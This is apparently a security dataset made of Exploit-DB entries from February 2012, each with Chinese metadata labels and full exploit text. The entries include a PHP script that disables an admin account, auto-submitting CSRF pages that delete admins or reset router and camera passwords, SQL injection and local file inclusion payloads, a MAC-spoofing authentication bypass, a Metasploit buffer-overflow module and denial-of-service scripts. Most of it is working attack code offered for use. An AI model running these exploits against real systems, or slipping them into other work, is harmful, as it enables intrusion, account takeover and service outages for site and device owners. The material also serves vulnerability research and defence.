QLWD/code_shield huggingface dataset:
标题: ImgPals Photo Host 1.0 - Admin Account Disactivation EDB-ID: 18544 CVE: 2012-4926 2012-4925 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-29 漏洞利用脚本: -=[--------------------ADVISORY-------------------]=-

ImgPals Photo Host Version 1.0 STABLE

Author: Corrado Liotta Aka CorryL [corryl80@gmail.com]
-=[-----------------------------------------------]=-


-=[+] Application: ImgPals Photo Host
-=[+] Version: 1.0 STABLE
-=[+] Vendor's URL: http://www.imgpals.com/forum/
-=[+] Platform: Windows\Linux\Unix
-=[+] Bug type: Admin Account Disactivation
-=[+] Exploitation: Remote
-=[-]
-=[+] Author: Corrado Liotta Aka CorryL ~ corryl80[at]gmail[dot]com ~
-=[+] Facebook: https://www.facebook.com/CorryL
-=[+] Twitter: https://twitter.com/#!/CorradoLiotta
-=[+] Linkedin: http://it.linkedin.com/pub/corrado-liotta/21/1a8/611

...::[ Descriprion ]::..

I released the ImgPals Photo Host Version 1.0 STABLE


Features Include:

    * Easy Install
    * Full README file included
    * Full Control Panel to control your site
    * User Side Features
          o Multiple JQuery Uploads
          o Create and Edit Photo Albums
          o Make Albums Public or Private
          o Describe Albums and Photos
          o Move, Delete, Rename, Rotate, Rate, Comment, and Tag Photos
          o Add Friends
          o Chat with Friends
          o Update people with status wall posting
          o Manage Profile
          o Profile Avatar Uploads
          o Private Messaging
    * And much more, be sure to check out the Demo


...::[ Bug ]::..

A attaker can remotely disable the account from administratore not
allowing the same to be able to access the site

...::[ Proof Of Concept ]::..

 if ($_GET['a'] == 'app0'){
                 $sqlapprove = mysql_query("UPDATE members SET
approved = '0' WHERE id = '".$_GET['u']."'");

by sending the command approve.php? u = a = 1 & app0 a attaker can
disable the Administrator account.

...::[ Exploit ]::..

#!/usr/bin/php -f
<?php


//Coded by Corrado Liotta For educational purpose only
//use php exploit.php server app0 or app1
//use app0 for admin account off
//use app1 for admin account on

$target = $argv[1];
$power = $argv[2]

$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_URL, "http://$target/approve.php?u=1&a=$power");
curl_setopt($ch, CURLOPT_HTTPGET, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE
5.01; Windows NT 5.0)");
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 3);
curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookie_$target");
$buf = curl_exec ($ch);
curl_close($ch);
unset($ch);

echo $buf;
?> URL: https://www.exploit-db.com/exploits/18544
标题: ContaoCMS (aka TYPOlight) 2.11 - Cross-Site Request Forgery (Delete Admin / Delete Article) EDB-ID: 18527 CVE: 2012-1297 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-26 漏洞利用脚本: +--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : ContaoCMS (aka TYPOlight) <= 2.11 CSRF (Delete Admin- Delete Article)
# Date          : 25-02-2012
# Author        : Ivano Binetti (http://ivanobinetti.com)
# Software link : http://www.contao.org/en/download.html
# Vendor site   : http://www.contao.org
# Version       : 2.11.0 (latest) and lower 
# Tested on     : Debian Squeeze (6.0) 
+--------------------------------------------------------------------------------------------------------------------------------+
+------------------------------------------[Multiple Vulnerabilities by Ivano Binetti]-------------------------------------------+

Summary
1)Introduction
2)Vulnerabilities Description
  2.1 Delete Administrators or Users 
  2.2 Delete News
  2.3 Delete Newsletter
+--------------------------------------------------------------------------------------------------------------------------------+
1)Introduction
Contao (fka TYPOlight) is "an open source content management system (CMS) for people who want a professional internet presence that
is easy to maintain".

2)Vulnerabilities Description
Contao 2.11 (and lower)  is affected by CSRF Vulnerability which allows an attacker to delete admins/users, delete web pages 
(articles, news, newsletter and so on).
 
 2.1 Delete Administrators or Users
  <html>
  <body onload="javascript:document.forms[0].submit()">
  <H2>CSRF Exploit to delete ADMIN/USER account</H2>
  <form method="POST" name="form0" action="http://<contao_ip>:80/contao/main.php?do=user&act=delete&id=2">
  </body>
  </html>

  Note that the is possible to delete any admin/user, also the first administrator (id=1) created during Contao's installation phase.
  
  2.2 Delete News
  <html>
  <body onload="javascript:document.forms[0].submit()">
  <H2>CSRF Exploit to delete News</H2>
  <form method="POST" name="form0" action="http://<contao_ip>:80/contao/main.php?do=news&act=delete&id=1">
  </form>
  </body>
  </html>


  2.3 Delete Newsletter 
  <html>
  <body onload="javascript:document.forms[0].submit()">
  <H2>CSRF Exploit to delete Newsletter</H2>
  <form method="POST" name="form0" action="http://<contao_ip>:80/contao/contao/main.php?do=newsletter&act=delete&id=1">
  </form>
  </body>
  </html>
+--------------------------------------------------------------------------------------------------------------------------------+ URL: https://www.exploit-db.com/exploits/18527
标题: Tiny HTTP Server 1.1.9 - Remote Crash (PoC) EDB-ID: 18524 CVE: 2012-1783 类型: DOS 平台: WINDOWS 发布日期: 2012-02-25 漏洞利用脚本: #!/usr/bin/python

# Tiny HTTP Server <=v1.1.9 Remote Crash PoC
# written by localh0t
# Date: 24/02/11
# Contact: mattdch0@gmail.com
# Follow: @mattdch
# www.localh0t.com.ar
# Targets: Windows (All)

import httplib,sys

if (len(sys.argv) < 3):
 print "\nTiny HTTP Server <=v1.1.9 Remote Crash PoC"
        print "\n Usage: %s <host> <port> \n" %(sys.argv[0])
 sys.exit()

payload = "X" * 658

try:
 print "\n[!] Connecting to %s ..." %(sys.argv[1])
 httpServ = httplib.HTTPConnection(sys.argv[1] , int(sys.argv[2]))
 httpServ.connect()
 print "[!] Sending payload..."
 httpServ.request('GET', "/" + str(payload))
 print "[!] Exploit succeed. Check %s if crashed.\n" %(sys.argv[1])
except:
 print "[-] Connection error, exiting..."

httpServ.close()
sys.exit() URL: https://www.exploit-db.com/exploits/18524
标题: webgrind 1.0 - 'file' Local File Inclusion EDB-ID: 18523 CVE: 2012-1790 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-25 漏洞利用脚本: webgrind 1.0 (file param) Local File Inclusion Vulnerability


Vendor: Joakim Nygard and Jacob Oettinger
Product web page: http://code.google.com/p/webgrind
Affected version: 1.0 (v1.02 in trunk on github)

Summary: Webgrind is an Xdebug profiling web frontend in PHP5.

Desc: webgrind suffers from a file inlcusion vulnerability (LFI)
when input passed thru the 'file' parameter to index.php is not
properly verified before being used to include files. This can be
exploited to include files from local resources with directory
traversal attacks and URL encoded NULL bytes.

----------------------------------------
/index.php:
-----------

122: case 'fileviewer':
123:     $file = get('file');
124:     $line = get('line');

----------------------------------------

Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.21
           PHP 5.3.9
           MySQL 5.5.20


Vulnerability discovered by Michael Meyer
                            michael.meyer greenbone net


Vendor status:

[22.02.2012] Vulnerability discovered.
[22.02.2012] Vendor notified.
[24.02.2012] No response from the vendor.
[25.02.2012] Public security advisory released.


Advisory ID: ZSL-2012-5075
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5075.php

Vendor: http://code.google.com/p/webgrind/issues/detail?id=66


22.02.2012

---


 http://<host>/webgrind/index.php?file=/etc/passwd&op=fileviewer
 http://<host>/webgrind/index.php?file=/boot.ini&op=fileviewer URL: https://www.exploit-db.com/exploits/18523
标题: D-Link DSL-2640B ADSL Router - Authentication Bypass EDB-ID: 18511 CVE: 2012-1309 类型: WEBAPPS 平台: HARDWARE 发布日期: 2012-02-22 漏洞利用脚本: +------------------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : D-Link DSL-2640B (ADSL Router) Authentication Bypass
# Date          : 22-02-2012
# Author        : Ivano Binetti (http://ivanobinetti.com)
# Vendor site   : http://www.d-link.com
# Version       : DSL-2640B 
# Tested on     : Firmware Version: EU_4.00; Hardware Version: B2
+-------------------------------------------------------------------------------------------------------------------------------------------+
+-------------------------[Authentication Bypass by Ivano Binetti]--------------------------------------------------------------------------+
Summary

1)Introduction
2)Vulnerability Description
3)Exploit

+--------------------------------------------------------------------------------------------------------------------------------------------+

1)Introduction
D-Link DSL-2640B is an ADSL Router using (also) a web management interface. 

2)Vulnerability Description
This router allows an attacker to bypass authentication and to login with administrator ("admin") credentials.
In fact when the administrator is logged in and an internal attacker will connect to web management interface (default is http://192.168.1.1:80) 
he will be able to see the MAC Address of logged admin. Symply changing his MAC Address the attacker can bypass authentication and login as 
administrator.

3)Exploit
For example in OSX Snow Leopard you can on the fly change your MAC Address with the simple following CLI command:

ifconfig en0 ether <admin_mac_address>   (where en0 is the name of your network interface) URL: https://www.exploit-db.com/exploits/18511
标题: LimeSurvey (PHPSurveyor 1.91+ stable) - Blind SQL Injection EDB-ID: 18508 CVE: 2012-4927 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-22 漏洞利用脚本: # Exploit Title: LimeSurvey Blind SQL injection
# Date: 20/02/2012
# Author: TorTukiTu - OpenSphere
# Version: 1.91+ build 11804
# Tested on: php

{cke_protected}{C}{cke_protected}{C}

-------------------------------------------------------------------------


# TorTukiTu - Killing Tortoise

 
#        ,-"""-. 
#   oo._/ \___/ \ 
#  (____)_/___\__\_) 
#      /_//   \\_\ 
# 



 

# Cookie hacking + Blind SQL Injection

 

# The vulnerability occurs when a user answers a survey (index.php).

# The session variables can be freely hacked using the following lines in save.php l.82 :

#             if (isset($_POST[$pf])) {$_SESSION[$pf] = $_POST[$pf];}

#            if (!isset($_POST[$pf])) {$_SESSION[$pf] = "";}

# $pf is user input in the POST variable

# once splitted, SQL request is directly build from those sessions variable by function createinsertquery(),

# if a special Post variable 'srid' is set both in the variable

# 'fieldnames' and as simple POST variable (query l. 715 save.php).

# The user can realize blind SQL injections with specially crafted POST variables.

 

# Normal POST variables example:

 

fieldnames=17165X6X18SQ001%7C17165X6X18SQ002%7C17165X6X18SQ003%7C17165X6X18SQ004%7C17165X6X18SQ005%7C17165X6X18SQ006%7C17165X6X18SQ007%7C17165X6X18other%7C17165X6X26SQ001%7C17165X6X26SQ002%7C17165X6X26SQ003

MULTI17165X6X18=8

tbdisp17...

...

start_time=1329742665

 

# Craft POST variables like this :

 

fieldnames=17165X6X18SQ001%7C17165X6X18SQ002%7C17165X6X18SQ003%7C17165X6X18SQ004%7C17165X6X18SQ005%7C17165X6X18SQ006%7C17165X6X18SQ007%7C17165X6X18other%7C17165X6X26SQ001%7C17165X6X26SQ002%7C17165X6X26SQ003%7C[VALID FIELD ID]` = [SQL INJECTION]--%7Csrid

MULTI17165X6X18=8

tbdisp17...

...

start_time=1329742665

srid=[SOME INTEGER]

 

#Example : Blind SQL user name guessing :

fieldnames=17165X6X18SQ001%7C17165X6X18SQ002%7C17165X6X18SQ003%7C17165X6X18SQ004%7C17165X6X18SQ005%7C17165X6X18SQ006%7C17165X6X18SQ007%7C17165X6X18other%7C17165X6X26SQ001%7C17165X6X26SQ002%7C17165X6X26SQ003%7C17165X6X18SQ001` = NULL WHERE id=6 AND id IN ( SELECT IF ( (SELECT SUBSTRING(users_name,1) FROM lime_users WHERE uid=1) LIKE 'a%', 1, SLEEP(5)))--%7Csrid

MULTI17165X6X18=8

tbdisp17...

...

start_time=1329742665

srid=42

 

 

------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/18508
标题: PHP Gift Registry 1.5.5 - SQL Injection EDB-ID: 18519 CVE: 2012-2236 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-24 漏洞利用脚本: # Exploit Title: PHP Gift Registry 1.5.5 SQL Injection
# Date: 02/22/12
# Author: G13
# Software Link: https://sourceforge.net/projects/phpgiftreg/
# Version: 1.5.5
# Category: webapps (php)
#

##### Vulnerability #####

The userid parameter in the users.php file is vulnerable to SQL 
Injection.

A user must be signed in to exploit this.

##### Exploit #####

http://localhost/phpgiftreg/users.php?action=edit&userid=[SQLi] URL: https://www.exploit-db.com/exploits/18519
标题: D-Link DCS Series - Cross-Site Request Forgery (Change Admin Password) EDB-ID: 18509 CVE: 2012-5319 类型: WEBAPPS 平台: HARDWARE 发布日期: 2012-02-22 漏洞利用脚本: Title:   Dlink DCS series CSRF Change Admin Password 
Version: DCS-900, DCS-2000, DCS-5300 and possibly other.
Date:    2012-02-22
Author:  rigan - imrigan [sobachka] gmail.com
--
Description:
Dlink DCS is a series of network cameras. These cameras use a web interface which is prone to CSRF vulnerabilities. This flaw allows to change the administrator password. 
--
Exploit:
<html>
<body onload="javascript:document.forms[0].submit()">
<form method="POST" name="form0" action="http://your_target/setup/security.cgi">
<input type="hidden" name="rootpass" value="your_pass"/>
<input type="hidden" name="confirm" value="your_pass"/>
</form>
</body>
</html>
-- URL: https://www.exploit-db.com/exploits/18509
标题: Sagem F@ST 2604 ADSL Router - Cross-Site Request Forgery EDB-ID: 18504 CVE: 2012-5320 类型: WEBAPPS 平台: HARDWARE 发布日期: 2012-02-22 漏洞利用脚本: ================================================================================
____ _    _    ____ _  _    ____ _  _ ___  ____ ____ 
|__| |    |    |__| |__|    |__| |_/  |__] |__| |__/ 
|  | |___ |___ |  | |  |    |  | | \_ |__] |  | |  \ 
                                                     
================================================================================
####
# Exploit Title: Sagem F@ST 2604 CSRF Vulnerability (ADSL Router)
# Author: KinG Of PiraTeS
# Facebook Page: www.facebook.com/cr4ck3d
# E-mail: t5r@hotmail.com 
# Category:: webapps
# Google Dork: NA
# Vendor: http://www.sagem.com/index.php
# Version: 253180972B May be Other Version are Affected 
# Tested on: [Windows 7 Edition Intégrale]
####


##
# | >> --------+++=[ Dz Offenders Cr3w ]=+++-------- << |
# | > Indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3   |
# | Jago-dz * Over-X * Kha&miX * Ev!LsCr!pT_Dz * Dr.55h |
# | * ------>  KinG Of PiraTeS * The g0bl!n <-------- * | 
# | ------------------------------------------------- < |
###


# 
1)Introduction
2)Vulnerability Description
3)Exploit
>> ----------------------------------------------------------------
1)Introduction
The Sagemcom F@st 2604 is a wireless ADSL2/2+ router with one RJ-11 WAN port and four 10/100Base-T LAN ports. 

2)Vulnerability Description
From SAGEM F@st 2604 U can change the default "Admin" password Or Any User Password which is listening on tcp/ip port 80 
May be Other Version are Affected 

3)Exploit

<html>
<body onload="javascript:document.forms[0].submit()">
<H2>Password successfully changed [CSRF Exploit change ADMIN password]</H2>
<form method="POST" name="form0" action="http://192.168.1.254/password.cgi?sysPassword=123123">
</form>
</body>
</html>
 

-
123123 is the New Password 
-
####

Peace From Algeria

####

=================================**Algerians Hackers**=======================================
# Greets To : 
  Caddy-Dz & KedAns-Dz **All Algerians Hackers** , Kondamne , The-007 ,  Bensekran , Joker dz
  (exploit-id.com) , (1337day.com) , (h4ckforu.com) , (alboraaq.com)
  All My Friends: Ali Abdennadher ,Chaouki Keffois , Kader11000 , Br0x-dz , Hanixpo 
  !-Bb0yH4cK3r_Dz-! , xConsoLe , S@xx0R , kalashinkov3 ,..others
============================================================================================= URL: https://www.exploit-db.com/exploits/18504
标题: D-Link DSL-2640B ADSL Router - Cross-Site Request Forgery EDB-ID: 18499 CVE: 2012-1308 类型: WEBAPPS 平台: HARDWARE 发布日期: 2012-02-20 漏洞利用脚本: +--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : D-Link DSL-2640B (ADSL Router) CSRF Vulnerability
# Date          : 19-02-2012
# Author        : Ivano Binetti (http://ivanobinetti.com)
# Vendor site   : http://www.d-link.com
# Version       : DSL-2640B 
# Tested on     : Firmware Version: EU_4.00; Hardware Version: B2
+--------------------------------------------------------------------------------------------------------------------------------+
+------------------------------------------[Change Admin Account Password by Ivano Binetti]--------------------------------------------------+
Summary

1)Introduction
2)Vulnerability Description
3)Exploit

+---------------------------------------------------------------------------------------------------------------------------------+


1)Introduction

D-Link DSL-2640B is an ADSL Router using (also) a web management interface. 


2)Vulnerability Description

The D-Link DSL-2640B's web interface (listening on tcp/ip port 80) is prone to CSRF vulnerabilities which allows to change router 
parameters and -among other things- to change default administrator("admin") password.

3)Exploit 

<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to change ADMIN password</H2>
<form method="POST" name="form0" action="http://192.168.1.1:80/redpass.cgi?sysPassword=new_password&change=1">
</form>
</body>
</html>


+----------------------------------------------------------------------------------------------------------------------------------+ URL: https://www.exploit-db.com/exploits/18499
标题: Plume CMS 1.2.4 - Cross-Site Request Forgery EDB-ID: 18502 CVE: 2012-1414 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-20 漏洞利用脚本: +--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : PlumeCMS <= 1.2.4 CSRF Vulnerability
# Date          : 20-02-2012
# Author        : Ivano Binetti (http://ivanobinetti.com)
# Software link : http://sourceforge.net/projects/pxsystem/files/latest/download?source=directory
# Vendor site   : http://pxsystem.sourceforge.net/
# Version       : 1.2.4 (latest) and lower
# Tested on     : Debian Squeeze (6.0)
+--------------------------------------------------------------------------------------------------------------------------------+
+------------------------------------------[Insert and publish NEWS by Ivano Binetti]--------------------------------------------------+
Summary

1)Vulnerability Description
2)Exploit

+---------------------------------------------------------------------------------------------------------------------------------+

1)Vulnerability Description

PlumeCMS is prone to a CSRF Vulnerability which allows an attacker to insert and publish "News" (as PlumeCMS names his articles) when an 
authenticated admin browses a web page containing the following html/javascript code.

2)Exploit 

<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to add and publish News</H2>
<form method="POST" name="form0" action="http://localhost:80/plume/manager/news.php">
<input type="hidden" name="n_category_id" value="1"/>
<input type="hidden" name="n_content_format" value="html"/>
<input type="hidden" name="n_status" value="1"/>
<input type="hidden" name="n_comment_support" value="1"/>
<input type="hidden" name="n_subtype" value="2"/>
<input type="hidden" name="n_title" value="hacked news"/>
<input type="hidden" name="n_content" value="%3Cp%3Etest2%3C%2Fp%3E"/>
<input type="hidden" name="n_subject" value=""/>
<input type="hidden" name="n_titlewebsite" value=""/>
<input type="hidden" name="n_linkwebsite" value=""/>
<input type="hidden" name="publish" value="Save+%5Bs%5D"/>
</form>
</body>
</html>


+----------------------------------------------------------------------------------------------------------------------------------+ URL: https://www.exploit-db.com/exploits/18502
标题: DJ Studio Pro 5.1.6.5.2 - Local Overflow (SEH) (Metasploit) EDB-ID: 18501 CVE: 2009-4656 类型: LOCAL 平台: WINDOWS 发布日期: 2012-02-20 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'DJ Studio Pro 5.1.6.5.2 SEH Exploit',
   'Description'    => %q{
     This module exploits a stack-based buffer overflow in DJ Studio Pro 5.1.6.5.2.
    An attacker must send the file to victim and the victim must open the file.
    Alternatively it may be possible to execute code remotely via an embedded
    PLS file within a browser, when the PLS extention is registered to DJ Studio Pro.
    This functionality has not been tested in this module.
   },
   'License'        => MSF_LICENSE,
   'Author'   =>
    [
     'Sebastien Duquette',
     'Death-Shadow-Dark <death.shadow.dark@gmail.com>',
    ],
   'Version'        => '$Revision$',
   'References'     =>
    [
     [ 'CVE', '2009-4656'],
     [ 'OSVDB', '58159'],
     [ 'URL', 'http://www.exploit-db.com/exploits/10827' ],
    ],
   'Payload'        =>
    {
     'Space'    => 5000,
     'BadChars' => "\x00\x0a\x3d",
     'StackAdjustment' => -3500,
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [ 'Windows Universal', { 'Ret' => 0x014FC62D } ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Dec 30 2009',
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('FILENAME', [ true, 'The file name.',  'msf.pls']),
    ], self.class)

 end

 def exploit

  sploit = rand_text_alpha_upper(1308)
  sploit << generate_seh_payload(target.ret)
  sploit << rand_text_alpha_upper(10000)

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(sploit)

 end

end URL: https://www.exploit-db.com/exploits/18501
标题: pcAnywhere 12.5.0 build 463 - Denial of Service EDB-ID: 18493 CVE: 2012-0292 类型: DOS 平台: WINDOWS 发布日期: 2012-02-17 漏洞利用脚本: #!/usr/bin/python

'''
Exploit Title:  PCAnywhere Nuke 
Date: 2/16/12
Author: Johnathan Norman  spoofy <at> exploitscience.org  or @spoofyroot
Version:  PCAnyWhere  (12.5.0 build 463) and below
Tested on: Windows
Description: The following code will crash the awhost32 service. It'll be respawned
so if you want to be a real  pain you'll need to loop this.. my inital impressions
are that controlling execuction will be a pain.
'''

import sys
import socket
import argparse


if len(sys.argv) != 2:
    print "[+] Usage: ./pcNuke.py <HOST>"
    sys.exit(1)
HOST = sys.argv[1]
PORT = 5631              
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

    
# HELLO!
s.send("\x00\x00\x00\x00")
buf = s.recv(1024)


# ACK! 
s.send("\x6f\x06\xfe")
buf = s.recv(1024)


# Auth capability part 1 
s.send("\x6f\x62\xff\x09\x00\x07\x00\x00\x01\xff\x00\x00\x07\x00")
# Auth capability part 2
s.send("\x6f\x62\xff\x09\x00\x07\x00\x00\x01\xff\x00\x00\x07\x00") URL: https://www.exploit-db.com/exploits/18493